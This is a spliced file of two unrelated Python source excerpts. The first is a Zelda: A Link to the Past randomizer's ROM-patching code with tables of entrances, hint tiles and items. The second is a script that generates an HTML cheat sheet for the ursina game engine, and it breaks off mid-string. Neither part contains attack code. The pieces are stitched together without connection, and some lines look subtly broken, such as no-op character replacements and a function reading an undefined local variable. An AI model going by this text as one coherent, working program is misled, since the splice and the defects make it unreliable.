rom.write_bytes(0x180247, [0x00, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00])
write_int16(rom, 0x15AEE + 2 * 0x06, 0x0020) # post aga hyrule castle spawn
rom.write_byte(0x15B8C + 0x06, 0x1B)
write_int16(rom, 0x15BDB + 2 * 0x06, 0x00AE)
write_int16(rom, 0x15C79 + 2 * 0x06, 0x0610)
write_int16(rom, 0x15D17 + 2 * 0x06, 0x077E)
write_int16(rom, 0x15DB5 + 2 * 0x06, 0x0672)
write_int16(rom, 0x15E53 + 2 * 0x06, 0x07F8)
write_int16(rom, 0x15EF1 + 2 * 0x06, 0x067D)
write_int16(rom, 0x15F8F + 2 * 0x06, 0x0803)
rom.write_byte(0x1602D + 0x06, 0x00)
rom.write_byte(0x1607C + 0x06, 0xF2)
write_int16(rom, 0x160CB + 2 * 0x06, 0x0000)
write_int16(rom, 0x16169 + 2 * 0x06, 0x0000)
write_int16(rom, snes_to_pc(0x02E87B), 0x00AE) # move flute splot 9
write_int16(rom, snes_to_pc(0x02E89D), 0x0610)
write_int16(rom, snes_to_pc(0x02E8BF), 0x077E)
write_int16(rom, snes_to_pc(0x02E8E1), 0x0672)
write_int16(rom, snes_to_pc(0x02E903), 0x07F8)
write_int16(rom, snes_to_pc(0x02E925), 0x067D)
write_int16(rom, snes_to_pc(0x02E947), 0x0803)
write_int16(rom, snes_to_pc(0x02E969), 0x0000)
write_int16(rom, snes_to_pc(0x02E98B), 0xFFF2)
rom.write_byte(snes_to_pc(0x1AF696), 0xF0) # bat sprite retreat
rom.write_byte(snes_to_pc(0x1AF6B2), 0x33)
rom.write_bytes(snes_to_pc(0x1AF730), [0x6A, 0x9E, 0x0C, 0x00, 0x7A, 0x9E, 0x0C,
0x00, 0x8A, 0x9E, 0x0C, 0x00, 0x6A, 0xAE,
0x0C, 0x00, 0x7A, 0xAE, 0x0C, 0x00, 0x8A,
0xAE, 0x0C, 0x00, 0x67, 0x97, 0x0C, 0x00,
0x8D, 0x97, 0x0C, 0x00])
write_int16s(rom, snes_to_pc(0x0FF1C8), [0x190F, 0x190F, 0x190F, 0x194C, 0x190F,
0x194B, 0x190F, 0x195C, 0x594B, 0x194C,
0x19EE, 0x19EE, 0x194B, 0x19EE, 0x19EE,
0x19EE, 0x594B, 0x190F, 0x595C, 0x190F,
0x190F, 0x195B, 0x190F, 0x190F, 0x19EE,
0x19EE, 0x195C, 0x19EE, 0x19EE, 0x19EE,
0x19EE, 0x595C, 0x595B, 0x190F, 0x190F,
0x190F])
write_int16s(rom, snes_to_pc(0x0FA480), [0x190F, 0x196B, 0x9D04, 0x9D04, 0x196B,
0x190F, 0x9D04, 0x9D04])
write_int16s(rom, snes_to_pc(0x1bb810), [0x00BE, 0x00C0, 0x013E])
write_int16s(rom, snes_to_pc(0x1bb836), [0x001B, 0x001B, 0x001B])
write_int16(rom, snes_to_pc(0x308300), 0x0140) # new pyramid hole entrance
write_int16(rom, snes_to_pc(0x308320), 0x001B)
if world.shuffle[player] in ['vanilla', 'dungeonssimple', 'dungeonsfull']:
rom.write_byte(snes_to_pc(0x308340), 0x7B)
write_int16(rom, snes_to_pc(0x1af504), 0x148B)
write_int16(rom, snes_to_pc(0x1af50c), 0x149B)
write_int16(rom, snes_to_pc(0x1af514), 0x14A4)
write_int16(rom, snes_to_pc(0x1af51c), 0x1489)
write_int16(rom, snes_to_pc(0x1af524), 0x14AC)
write_int16(rom, snes_to_pc(0x1af52c), 0x54AC)
write_int16(rom, snes_to_pc(0x1af534), 0x148C)
write_int16(rom, snes_to_pc(0x1af53c), 0x548C)
write_int16(rom, snes_to_pc(0x1af544), 0x1484)
write_int16(rom, snes_to_pc(0x1af54c), 0x5484)
write_int16(rom, snes_to_pc(0x1af554), 0x14A2)
write_int16(rom, snes_to_pc(0x1af55c), 0x54A2)
write_int16(rom, snes_to_pc(0x1af564), 0x14A0)
write_int16(rom, snes_to_pc(0x1af56c), 0x54A0)
write_int16(rom, snes_to_pc(0x1af574), 0x148E)
write_int16(rom, snes_to_pc(0x1af57c), 0x548E)
write_int16(rom, snes_to_pc(0x1af584), 0x14AE)
write_int16(rom, snes_to_pc(0x1af58c), 0x54AE)
rom.write_byte(snes_to_pc(0x00DB9D), 0x1A) # castle hole graphics
rom.write_byte(snes_to_pc(0x00DC09), 0x1A)
rom.write_byte(snes_to_pc(0x00D009), 0x31)
rom.write_byte(snes_to_pc(0x00D0e8), 0xE0)
rom.write_byte(snes_to_pc(0x00D1c7), 0x00)
write_int16(rom, snes_to_pc(0x1BE8DA), 0x39AD)
rom.write_byte(0xF6E58, 0x80) # no whirlpool under castle gate
rom.write_bytes(0x0086E, [0x5C, 0x00, 0xA0, 0xA1]) # TR tail
rom.write_bytes(snes_to_pc(0x1BC67A), [0x2E, 0x0B, 0x82]) # add warps under rocks
rom.write_bytes(snes_to_pc(0x1BC81E), [0x94, 0x1D, 0x82])
rom.write_bytes(snes_to_pc(0x1BC655), [0x4A, 0x1D, 0x82])
rom.write_bytes(snes_to_pc(0x1BC80D), [0xB2, 0x0B, 0x82])
rom.write_bytes(snes_to_pc(0x1BC3DF), [0xD8, 0xD1])
rom.write_bytes(snes_to_pc(0x1BD1D8), [0xA8, 0x02, 0x82, 0xFF, 0xFF])
rom.write_bytes(snes_to_pc(0x1BC85A), [0x50, 0x0F, 0x82])
write_int16(rom, 0xDB96F + 2 * 0x35, 0x001B) # move pyramid exit door
write_int16(rom, 0xDBA71 + 2 * 0x35, 0x06A4)
if world.shuffle[player] in ['vanilla', 'dungeonssimple', 'dungeonsfull']:
rom.write_byte(0xDBB73 + 0x35, 0x36)
rom.write_byte(snes_to_pc(0x09D436), 0xF3) # remove castle gate warp
if world.shuffle[player] in ['vanilla', 'dungeonssimple', 'dungeonsfull']:
write_int16(rom, 0x15AEE + 2 * 0x37, 0x0010) # pyramid exit to new hc area
rom.write_byte(0x15B8C + 0x37, 0x1B)
write_int16(rom, 0x15BDB + 2 * 0x37, 0x0418)
write_int16(rom, 0x15C79 + 2 * 0x37, 0x0679)
write_int16(rom, 0x15D17 + 2 * 0x37, 0x06B4)
write_int16(rom, 0x15DB5 + 2 * 0x37, 0x06C6)
write_int16(rom, 0x15E53 + 2 * 0x37, 0x0738)
write_int16(rom, 0x15EF1 + 2 * 0x37, 0x06E6)
write_int16(rom, 0x15F8F + 2 * 0x37, 0x0733)
rom.write_byte(0x1602D + 0x37, 0x07)
rom.write_byte(0x1607C + 0x37, 0xF9)
write_int16(rom, 0x160CB + 2 * 0x37, 0x0000)
write_int16(rom, 0x16169 + 2 * 0x37, 0x0000)
rom.write_bytes(snes_to_pc(0x1BC387), [0xDD, 0xD1])
rom.write_bytes(snes_to_pc(0x1BD1DD), [0xA4, 0x06, 0x82, 0x9E, 0x06, 0x82, 0xFF, 0xFF])
rom.write_byte(0x180089, 0x01) # open TR after exit
rom.write_byte(snes_to_pc(0x0ABFBB), 0x90)
rom.write_byte(snes_to_pc(0x0280A6), 0xD0)
rom.write_bytes(snes_to_pc(0x06B2AB), [0xF0, 0xE1, 0x05])
def patch_shuffled_dark_sanc(world, rom, player):
dark_sanc_entrance = str(world.get_region('Inverted Dark Sanctuary', player).entrances[0].name)
room_id, ow_area, vram_loc, scroll_y, scroll_x, link_y, link_x, camera_y, camera_x, unknown_1, unknown_2, door_1, door_2 = door_addresses[dark_sanc_entrance][1]
door_index = door_addresses[str(dark_sanc_entrance)][0]
rom.write_byte(0x180241, 0x01)
rom.write_byte(0x180248, door_index + 1)
write_int16(rom, 0x180250, room_id)
rom.write_byte(0x180252, ow_area)
write_int16s(rom, 0x180253, [vram_loc, scroll_y, scroll_x, link_y, link_x, camera_y, camera_x])
rom.write_bytes(0x180262, [unknown_1, unknown_2, 0x00])
InconvenientDungeonEntrances = {'Turtle Rock': 'Turtle Rock Main',
'Misery Mire': 'Misery Mire',
'Ice Palace': 'Ice Palace',
'Skull Woods Final Section': 'The back of Skull Woods',
}
InconvenientOtherEntrances = {'Death Mountain Return Cave (West)': 'The SW DM foothills cave',
'Mimic Cave': 'Mimic Ledge',
'Dark World Hammer Peg Cave': 'The rows of pegs',
'Pyramid Fairy': 'The crack on the pyramid'
}
ConnectorEntrances = {'Elder House (East)': 'Elder House',
'Elder House (West)': 'Elder House',
'Two Brothers House (East)': 'Eastern Quarreling Brothers\' house',
'Old Man Cave (West)': 'The lower DM entrance',
'Bumper Cave (Bottom)': 'The lower Bumper Cave',
'Superbunny Cave (Top)': 'The summit of dark DM cave',
'Superbunny Cave (Bottom)': 'The base of east dark DM',
'Hookshot Cave': 'The rock on dark DM',
'Two Brothers House (West)': 'The door near the race game',
'Old Man Cave (East)': 'The SW-most cave on west DM',
'Old Man House (Bottom)': 'A cave with a door on west DM',
'Old Man House (Top)': 'The eastmost cave on west DM',
'Death Mountain Return Cave (East)': 'The westmost cave on west DM',
'Spectacle Rock Cave Peak': 'The highest cave on west DM',
'Spectacle Rock Cave': 'The right ledge on west DM',
'Spectacle Rock Cave (Bottom)': 'The left ledge on west DM',
'Paradox Cave (Bottom)': 'The right paired cave on east DM',
'Paradox Cave (Middle)': 'The southmost cave on east DM',
'Paradox Cave (Top)': 'The east DM summit cave',
'Fairy Ascension Cave (Bottom)': 'The east DM cave behind rocks',
'Fairy Ascension Cave (Top)': 'The central ledge on east DM',
'Spiral Cave': 'The left ledge on east DM',
'Spiral Cave (Bottom)': 'The SWmost cave on east DM'
}
DungeonEntrances = {'Eastern Palace': 'Eastern Palace',
'Hyrule Castle Entrance (South)': 'The ground level castle door',
'Thieves Town': 'Thieves\' Town',
'Swamp Palace': 'Swamp Palace',
'Dark Death Mountain Ledge (West)': 'The East dark DM connector ledge',
'Dark Death Mountain Ledge (East)': 'The East dark DM connector ledge',
'Desert Palace Entrance (South)': 'The book sealed passage',
'Tower of Hera': 'The Tower of Hera',
'Palace of Darkness': 'Palace of Darkness',
'Hyrule Castle Entrance (West)': 'The left castle door',
'Hyrule Castle Entrance (East)': 'The right castle door',
'Desert Palace Entrance (West)': 'The westmost building in the desert',
'Desert Palace Entrance (North)': 'The northmost cave in the desert'
}
OtherEntrances = {'Blinds Hideout': 'Blind\'s old house',
'Lake Hylia Fairy': 'A cave NE of Lake Hylia',
'Light Hype Fairy': 'The cave south of your house',
'Desert Fairy': 'The cave near the desert',
'Chicken House': 'The chicken lady\'s house',
'Aginahs Cave': 'The open desert cave',
'Sahasrahlas Hut': 'The house near armos',
'Cave Shop (Lake Hylia)': 'The cave NW Lake Hylia',
'Blacksmiths Hut': 'The old smithery',
'Sick Kids House': 'The central house in Kakariko',
'Lost Woods Gamble': 'A tree trunk door',
'Fortune Teller (Light)': 'A building NE of Kakariko',
'Snitch Lady (East)': 'A house guarded by a snitch',
'Snitch Lady (West)': 'A house guarded by a snitch',
'Bush Covered House': 'A house with an uncut lawn',
'Tavern (Front)': 'A building with a backdoor',
'Light World Bomb Hut': 'A Kakariko building with no door',
'Kakariko Shop': 'The old Kakariko shop',
'Mini Moldorm Cave': 'The cave south of Lake Hylia',
'Long Fairy Cave': 'The eastmost portal cave',
'Good Bee Cave': 'The open cave SE Lake Hylia',
'20 Rupee Cave': 'The rock SE Lake Hylia',
'50 Rupee Cave': 'The rock near the desert',
'Ice Rod Cave': 'The sealed cave SE Lake Hylia',
'Library': 'The old library',
'Potion Shop': 'The witch\'s building',
'Dam': 'The old dam',
'Lumberjack House': 'The lumberjack house',
'Lake Hylia Fortune Teller': 'The building NW Lake Hylia',
'Kakariko Gamble Game': 'The old Kakariko gambling den',
'Waterfall of Wishing': 'Going behind the waterfall',
'Capacity Upgrade': 'The cave on the island',
'Bonk Rock Cave': 'The rock pile near Sanctuary',
'Graveyard Cave': 'The graveyard ledge',
'Checkerboard Cave': 'The NE desert ledge',
'Cave 45': 'The ledge south of haunted grove',
'Kings Grave': 'The northeastmost grave',
'Bonk Fairy (Light)': 'The rock pile near your home',
'Hookshot Fairy': 'The left paired cave on east DM',
'Bonk Fairy (Dark)': 'The rock pile near the old bomb shop',
'Dark Lake Hylia Fairy': 'The cave NE dark Lake Hylia',
'C-Shaped House': 'The NE house in Village of Outcasts',
'Dark Death Mountain Fairy': 'The SW cave on dark DM',
'Dark Lake Hylia Shop': 'The building NW dark Lake Hylia',
'Dark World Shop': 'The hammer sealed building',
'Red Shield Shop': 'The fenced in building',
'Mire Shed': 'The western hut in the mire',
'East Dark World Hint': 'The dark cave near the eastmost portal',
'Dark Desert Hint': 'The cave east of the mire',
'Spike Cave': 'The ledge cave on west dark DM',
'Palace of Darkness Hint': 'The building south of Kiki',
'Dark Lake Hylia Ledge Spike Cave': 'The rock SE dark Lake Hylia',
'Cave Shop (Dark Death Mountain)': 'The base of east dark DM',
'Dark World Potion Shop': 'The building near the catfish',
'Archery Game': 'The old archery game',
'Dark World Lumberjack Shop': 'The northmost Dark World building',
'Hype Cave': 'The cave south of the old bomb shop',
'Brewery': 'The Village of Outcasts building with no door',
'Dark Lake Hylia Ledge Hint': 'The open cave SE dark Lake Hylia',
'Chest Game': 'The westmost building in the Village of Outcasts',
'Dark Desert Fairy': 'The eastern hut in the mire',
'Dark Lake Hylia Ledge Fairy': 'The sealed cave SE dark Lake Hylia',
'Fortune Teller (Dark)': 'The building NE the Village of Outcasts'
}
InsanityEntrances = {'Sanctuary': 'Sanctuary',
'Lumberjack Tree Cave': 'The cave Behind Lumberjacks',
'Lost Woods Hideout Stump': 'The stump in Lost Woods',
'North Fairy Cave': 'The cave East of Graveyard',
'Bat Cave Cave': 'The cave in eastern Kakariko',
'Kakariko Well Cave': 'The cave in northern Kakariko',
'Hyrule Castle Secret Entrance Stairs': 'The tunnel near the castle',
'Skull Woods First Section Door': 'The southeastmost skull',
'Skull Woods Second Section Door (East)': 'The central open skull',
'Skull Woods Second Section Door (West)': 'The westmost open skull',
'Desert Palace Entrance (East)': 'The eastern building in the desert',
'Turtle Rock Isolated Ledge Entrance': 'The isolated ledge on east dark DM',
'Bumper Cave (Top)': 'The upper Bumper Cave',
'Hookshot Cave Back Entrance': 'The stairs on the floating island'
}
HintLocations = ['telepathic_tile_eastern_palace',
'telepathic_tile_tower_of_hera_floor_4',
'telepathic_tile_spectacle_rock',
'telepathic_tile_swamp_entrance',
'telepathic_tile_thieves_town_upstairs',
'telepathic_tile_misery_mire',
'telepathic_tile_palace_of_darkness',
'telepathic_tile_desert_bonk_torch_room',
'telepathic_tile_castle_tower',
'telepathic_tile_ice_large_room',
'telepathic_tile_turtle_rock',
'telepathic_tile_ice_entrace',
'telepathic_tile_ice_stalfos_knights_room',
'telepathic_tile_tower_of_hera_entrance',
'telepathic_tile_south_east_darkworld_cave',
'dark_palace_tree_dude',
'dark_sanctuary_hint_0',
'dark_sanctuary_hint_1',
'dark_sanctuary_yes',
'dark_sanctuary_hint_2']
InconvenientLocations = ['Spike Cave',
'Sahasrahla',
'Purple Chest',
'Swamp Left',
'Mire Left',
'Tower of Hera - Big Key Chest',
'Eastern Palace - Big Key Chest',
'Thieves\' Town - Big Chest',
'Ice Palace - Big Chest',
'Ganons Tower - Big Chest',
'Magic Bat']
InconvenientVanillaLocations = ['Graveyard Cave',
'Mimic Cave']
RelevantItems = ['Bow',
'Progressive Bow',
'Book of Mudora',
'Hammer',
'Hookshot',
'Magic Mirror',
'Flute',
'Pegasus Boots',
'Power Glove',
'Cape',
'Mushroom',
'Shovel',
'Lamp',
'Magic Powder',
'Moon Pearl',
'Cane of Somaria',
'Fire Rod',
'Flippers',
'Ice Rod',
'Titans Mitts',
'Ether',
'Bombos',
'Quake',
'Bottle',
'Bottle (Red Potion)',
'Bottle (Green Potion)',
'Bottle (Blue Potion)',
'Bottle (Fairy)',
'Bottle (Bee)',
'Bottle (Good Bee)',
'Master Sword',
'Tempered Sword',
'Fighter Sword',
'Golden Sword',
'Progressive Sword',
'Progressive Glove',
'Master Sword',
'Power Star',
'Triforce Piece',
'Single Arrow',
'Blue Mail',
'Red Mail',
'Progressive Armor',
'Blue Boomerang',
'Red Boomerang',
'Blue Shield',
'Red Shield',
'Mirror Shield',
'Progressive Shield',
'Bug Catching Net',
'Cane of Byrna',
'Magic Upgrade (1/2)',
'Magic Upgrade (1/4)'
]
SmallKeys = ['Small Key (Eastern Palace)',
'Small Key (Escape)',
'Small Key (Desert Palace)',
'Small Key (Tower of Hera)',
'Small Key (Agahnims Tower)',
'Small Key (Palace of Darkness)',
'Small Key (Thieves Town)',
'Small Key (Swamp Palace)',
'Small Key (Skull Woods)',
'Small Key (Ice Palace)',
'Small Key (Misery Mire)',
'Small Key (Turtle Rock)',
'Small Key (Ganons Tower)',
]
BigKeys = ['Big Key (Eastern Palace)',
'Big Key (Desert Palace)',
'Big Key (Tower of Hera)',
'Big Key (Palace of Darkness)',
'Big Key (Thieves Town)',
'Big Key (Swamp Palace)',
'Big Key (Skull Woods)',
'Big Key (Ice Palace)',
'Big Key (Misery Mire)',
'Big Key (Turtle Rock)',
'Big Key (Ganons Tower)'
]
hash_alphabet = [
"Bow", "Boomerang", "Hookshot", "Bomb", "Mushroom", "Powder", "Rod", "Pendant", "Bombos", "Ether", "Quake",
"Lamp", "Hammer", "Shovel", "Flute", "Bug Net", "Book", "Bottle", "Potion", "Cane", "Cape", "Mirror", "Boots",
"Gloves", "Flippers", "Pearl", "Shield", "Tunic", "Heart", "Map", "Compass", "Key"
]
|
from pathlib import Path
from pprint import pprint
import keyword
import builtins
import textwrap
from ursina import color, lerp, application
def indentation(line):
return len(line) - len(line.lstrip())
def get_module_attributes(str):
attrs = list()
for l in str.split('\n'):
if len(l) == 0:
continue
if l.startswith(tuple(keyword.kwlist) + tuple(dir(builtins)) + (' ', '#', '\'', '\"', '_')):
continue
attrs.append(l)
return attrs
def get_classes(str):
classes = dict()
for c in str.split('\nclass ')[1:]:
class_name = c.split(':', 1)[0]
if class_name.startswith(('\'', '"')):
continue
# print(class_name)
classes[class_name] = c.split(':', 1)[1]
return classes
def get_class_attributes(str):
attributes = list()
lines = str.split('\n')
start = 0
end = len(lines)
for i, line in enumerate(lines):
if line == '''if __name__ == '__main__':''':
break
found_init = False
if line.strip().startswith('def __init__'):
if found_init:
break
start = i
for j in range(i+1, len(lines)):
if (indentation(lines[j]) == indentation(line)
and not lines[j].strip().startswith('def late_init')
):
end = j
found_init = True
break
init_section = lines[start:end]
# print('init_section:', start, end, init_section)
for i, line in enumerate(init_section):
if line.strip().startswith('self.') and ' = ' in line and line.startswith(' '*8) and not line.startswith(' '*9):
stripped_line = line.split('self.', 1)[1]
if '.' in stripped_line.split(' ')[0] or stripped_line.startswith('_'):
continue
key = stripped_line.split(' = ')[0]
value = stripped_line.split(' = ')[1]
if i < len(init_section) and indentation(init_section[i+1]) > indentation(line):
# value = 'multiline'
start = i
end = i
indent = indentation(line)
for j in range(i+1, len(init_section)):
if indentation(init_section[j]) <= indent:
end = j
break
for l in init_section[start+1:end]:
value += '\n' + l[4:]
attributes.append(key + ' = ' + value)
if '@property' in code:
for i, line in enumerate(lines):
if line.strip().startswith('@property'):
name = lines[i+1].split('def ')[1].split('(')[0]
# include comments for properties
if '#' in lines[i+1]:
name += ((20-len(name)) * ' ') + '<gray>#' + lines[i+1].split('#',1)[1] + '</gray>'
if not name in [e.split(' = ')[0] for e in attributes]:
attributes.append(name)
return attributes
def get_functions(str, is_class=False):
functions = dict()
lines = str.split('\n')
functions = list()
lines = str.split('\n')
ignore_functions_for_property_generation = 'generate_properties(' in str
for i, line in enumerate(lines):
if line == '''if __name__ == '__main__':''' or 'docignore' in line:
break
if line.strip().startswith('def '):
if not is_class and line.split('(')[1].startswith('self'):
continue
name = line.split('def ')[1].split('(')[0]
if name.startswith('_') or lines[i-1].strip().startswith('@'):
continue
if ignore_functions_for_property_generation:
if name.startswith('get_') or name.startswith('set_'):
continue
params = line.replace('(self, ', '(')
params = params.replace('(self)', '()')
params = params.split('(', 1)[1].rsplit(')', 1)[0]
comment = ''
if '#' in line:
comment = '#' + line.split('#')[1]
functions.append((name, params, comment))
return functions
def clear_tags(str):
for tag in ('purple', 'olive', 'yellow', 'blue'):
str = str.replace(f'<{tag}>', '')
str = str.replace(f'</{tag}>', '')
return str
def get_example(str, name=None): # use name to highlight the relevant class
key = '''if __name__ == '__main__':'''
lines = list()
example_started = False
for l in str.split('\n'):
if example_started:
lines.append(l)
if l == key:
example_started = True
example = '\n'.join(lines)
example = textwrap.dedent(example)
example = example.split('# test\n')[0]
ignore = ('app = Ursina()', 'app.run()', 'from ursina import *')
if 'class Ursina' in str: # don't ignore in main.py
ignore = ()
lines = [e for e in example.split('\n') if not e in ignore and not e.strip().startswith('#')]
import re
styled_lines = list()
for line in lines:
line = line.replace('def ', '<purple>def</purple> ')
line = line.replace('from ', '<purple>from</purple> ')
line = line.replace('import ', '<purple>import</purple> ')
line = line.replace('for ', '<purple>for</purple> ')
line = line.replace('elif ', '<purple>elif</purple> ')
line = line.replace('if ', '<purple>if</purple> ')
line = line.replace(' not ', ' <purple>not</purple> ')
line = line.replace('else:', '<purple>else</purple>:')
line = line.replace('Entity', '<olive>Entity</olive>')
for e in ('print', 'range', 'hasattr', 'getattr', 'setattr'):
line = line.replace(f'{e}(' , f'<blue>{e}</blue>(')
# colorize ursina specific params
for e in ('enabled', 'parent', 'world_parent', 'model', 'highlight_color', 'color',
'texture_scale', 'texture', 'visible',
'position', 'z', 'y', 'z',
'rotation', 'rotation_x', 'rotation_y', 'rotation_z',
'scale', 'scale_x', 'scale_y', 'scale_z',
'origin', 'origin_x', 'origin_y', 'origin_z',
'text', 'on_click', 'icon', 'collider', 'shader', 'curve', 'ignore',
'vertices', 'triangles', 'uvs', 'normals', 'colors', 'mode', 'thickness'
):
line = line.replace(f'{e}=' , f'<olive>{e}</olive>=')
# colorize numbers
for i in range(10):
line = line.replace(f'{i}', f'<yellow>{i}</yellow>')
# destyle Vec2 and Vec3
line = line.replace(f'<yellow>3</yellow>(', '3(')
line = line.replace(f'<yellow>2</yellow>(', '2(')
# highlight class name
if name:
if '(' in name:
name = name.split('(')[0]
line = line.replace(f'{name}(', f'<purple><b>{name}</b></purple>(')
line = line.replace(f'={name}(', f'=<purple><b>{name}</b></purple>(')
# line = line.replace(f'.{name}', f'.<font colorK
if ' #' in line:
# remove colored words inside strings
line = clear_tags(line)
line = line.replace(' #', ' <gray>#')
line += '</gray>'
styled_lines.append(line)
lines = styled_lines
example = '\n'.join(lines)
# find triple qutoted strings
if example.count("'''") % 2 == 0 and example.count("'''") > 1:
parts = example.strip().split("'''")
parts = [e for e in parts if e]
is_quote = example.strip().startswith("'''")
for i in range(not is_quote, len(parts), 2):
parts[i] = clear_tags(parts[i])
parts[i] = "<green>'''" + parts[i] + "'''</green>"
example = ''.join(parts)
# find single quoted words
styled_lines = []
for line in example.split('\n'):
quotes = re.findall('\'(.*?)\'', line)
quotes = ['\'' + q + '\'' for q in quotes]
for q in quotes:
line = line.replace(q, '<green>' + clear_tags(q) + '</green>')
styled_lines.append(line)
example = '\n'.join(styled_lines)
return example.strip()
def is_singleton(str):
for l in str.split('\n'):
# if l.startswith('sys.modules['):
if l.startswith('instance = '):
return True
result = False
path = application.package_folder
most_used_info = dict()
module_info = dict()
class_info = dict()
# ignore files that are not commited
ignored_files = list()
from git import Repo
repo = Repo(path.parent)
ignored_files = repo.untracked_files
ignored_files = [Path(path.parent / e) for e in ignored_files]
for f in ignored_files:
print('ignoring:', f)
ignored_files.append(path / 'gamepad.py')
for f in path.glob('*.py'):
if f in ignored_files:
continue
if f.name.startswith('_') or f.name == 'build.py':
module_info['build'] = (
f,
'python -m ursina.build',
{},
'',
'''open cmd at your project folder and run 'python -m ursina.build' to package your app for windows.'''
)
continue
with open(f, encoding='utf8') as t:
code = t.read()
code = code.replace('<', '<').replace('>', '>')
if not is_singleton(code):
name = f.stem
attrs, funcs = list(), list()
attrs = get_module_attributes(code)
funcs = get_functions(code)
example = get_example(code, name)
if attrs or funcs:
module_info[name] = (f, '', attrs, funcs, example)
# continue
classes = get_classes(code)
for class_name, class_definition in classes.items():
if 'Enum' in class_name:
class_definition = class_definition.split('def ')[0]
attrs = [l.strip() for l in class_definition.split('\n') if ' = ' in l]
class_info[class_name] = (f, '', attrs, '', '')
continue
if 'def __init__' in class_definition:
# init line
params = '__init__('+ class_definition.split('def __init__(')[1].split('\n')[0][:-1]
attrs = get_class_attributes(class_definition)
methods = get_functions(class_definition, is_class=True)
example = get_example(code, class_name)
class_info[class_name] = (f, params, attrs, methods, example)
# singletons
else:
module_name = f.name.split('.')[0]
classes = get_classes(code)
for class_name, class_definition in classes.items():
# print(module_name)
attrs, methods = list(), list()
attrs = get_class_attributes(class_definition)
methods = get_functions(class_definition, is_class=True)
example = get_example(code, class_name)
module_info[module_name] = (f, '', attrs, methods, example)
prefab_info = dict()
for f in path.glob('prefabs/*.py'):
if f.name.startswith('_') or f in ignored_files:
continue
with open(f, encoding='utf8') as t:
code = t.read()
code = code.replace('<', '<').replace('>', '>')
classes = get_classes(code)
for class_name, class_definition in classes.items():
if 'def __init__' in class_definition:
params = '__init__('+ class_definition.split('def __init__(')[1].split('\n')[0][:-1]
attrs = get_class_attributes(class_definition)
methods = get_functions(class_definition, is_class=True)
example = get_example(code, class_name)
prefab_info[class_name] = (f, params, attrs, methods, example)
script_info = dict()
for f in path.glob('scripts/*.py'):
if f.name.startswith('_') or f in ignored_files:
continue
# if f.is_file() and f.name.endswith(('.py', )):
with open(f, encoding='utf8') as t:
code = t.read()
if not 'class ' in code:
name = f.name.split('.')[0]
attrs, funcs = list(), list()
attrs = get_module_attributes(code)
funcs = get_functions(code)
example = get_example(code)
if attrs or funcs:
script_info[name] = (f, '', attrs, funcs, example)
classes = get_classes(code)
for class_name, class_definition in classes.items():
if 'def __init__' in class_definition:
params = '__init__('+ class_definition.split('def __init__(')[1].split('\n')[0][:-1]
attrs = get_class_attributes(class_definition)
methods = get_functions(class_definition, is_class=True)
example = get_example(code, class_name)
script_info[class_name] = (f, params, attrs, methods, example)
asset_info = dict()
model_names = [f'\'{f.stem}\'' for f in path.glob('models_compressed/*.ursinamesh')]
asset_info['models'] = ('', '', model_names, '', '''e = Entity(model='quad')''')
texture_names = [f'\'{f.stem}\'' for f in path.glob('textures/*.*')]
asset_info['textures'] = ('', '', texture_names, '', '''e = Entity(model='cube', texture='brick')''')
shaders = [f'{f.stem}' for f in path.glob('shaders/*.*')]
asset_info['shaders'] = ('', '', shaders, '', '''from ursina.shaders import normals_shader\ne = Entity(shader=normals_shader)''')
for f in path.glob('models/procedural/*.py'):
if f.name.startswith('_') or f in ignored_files:
continue
with open(f, encoding='utf8') as t:
code = t.read()
classes = get_classes(code)
for class_name, class_definition in classes.items():
if 'def __init__' in class_definition:
params = '__init__('+ class_definition.split('def __init__(')[1].split('\n')[0][:-1]
attrs = get_class_attributes(class_definition)
methods = get_functions(class_definition, is_class=True)
example = get_example(code, class_name)
asset_info[class_name] = (f, params, attrs, methods, example)
most_used_info = dict()
for name in ('Entity(NodePath)', 'Text(Entity)', 'Button(Entity)', 'mouse', 'raycaster',):
for d in (module_info, class_info, prefab_info):
if name in d:
most_used_info[name] = d[name]
del d[name]
def html_color(color):
return f'hsl({color.h}, {int(color.s*100)}%, {int(color.v*100)}%)'
def make_html(style, file_name):
if style == 'light':
base_color = color.color(60, 0, .99)
background_color = lerp(base_color, base_color.invert(), 0)
else:
base_color = color.color(60, 1, .01)
background_color = lerp(base_color, base_color.invert(), .125)
text_color = lerp(background_color, background_color.invert(), .9)
example_color = lerp(background_color, text_color, .1)
scrollbar_color = html_color(lerp(background_color, text_color, .1))
link_color = html_color(color.gray)
init_color = html_color(base_color.invert())
style = f'''
<style>
html {{
scrollbar-face-color: {html_color(text_color)};
scrollbar-base-color: {html_color(text_color)};
scrollbar-3dlight-color: {html_color(text_color)}4;
scrollbar-highlight-color: {html_color(text_color)};
scrollbar-track-color: {html_color(background_color)};
scrollbar-arrow-color: {html_color(background_color)};
scrollbar-shadow-color: {html_color(text_color)};
scrollbar-darkshadow-color: {html_color(text_color)};
}}
::-webkit-scrollbar {{ width: 8px; height: 3px;}}
::-webkit-scrollbar {{ width: 8px; height: 3px;}}
::-webkit-scrollbar-button {{ background-color: {scrollbar_color}; }}
::-webkit-scrollbar-track {{ background-color: {html_color(background_color)};}}
::-webkit-scrollbar-track-piece {{ background-color: {html_color(background_color)};}}
::-webkit-scrollbar-thumb {{ height: 50px; background-color: {scrollbar_color}; border-radius: 3px;}}
::-webkit-scrollbar-corner {{ background-color: {html_color(background_color)};}}
::-webkit-resizer {{ background-color: {html_color(background_color)};}}
body {{
margin: auto;
background-color: {html_color(background_color)};
color: {html_color(text_color)};
font-family: monospace;
position: absolute;
top:0;
left: 24em;
font-size: 1.375em;
font-weight: lighter;
max-width: 100%;
overflow-x: hidden;
white-space: pre-wrap;
}}
a {{
color: {link_color};
}}
purple {{color: hsl(289.0, 50%, 50%);}}
gray {{color: gray;}}
olive {{color: olive;}}
yellow {{color: darkgoldenrod;}}
green {{color: seagreen;}}
blue {{color: hsl(210, 50%, 50%);}}
.example {{
padding-left: 1em;
background-color: {html_color(example_color)};
}}
.params {{
color:{init_color};
font-weight:bold;
}}
</style>
'''
# return style
html = '<title> ursina cheat sheet</title>'
html += '''
<b>Ursina cheat sheet</b>
This document lists most modules and classes in ursina. Each section is structured as follows:
ClassName(BaseClass)
module location
parameters
How instantiate the class, ie. Button(text='', **kwargs).
'**kwargs' in this case, means you can give it optional keyword arguments.
For example, Button('Start', scale=.25, color=color.blue, position=(-.1,.25)) also incldues
information on how big the button should be, its color and its position.
attributes
Names of values we can get/set, sometimes followed by its starting value and a short explanation.
For example, 'scale', 'color' and 'position' are
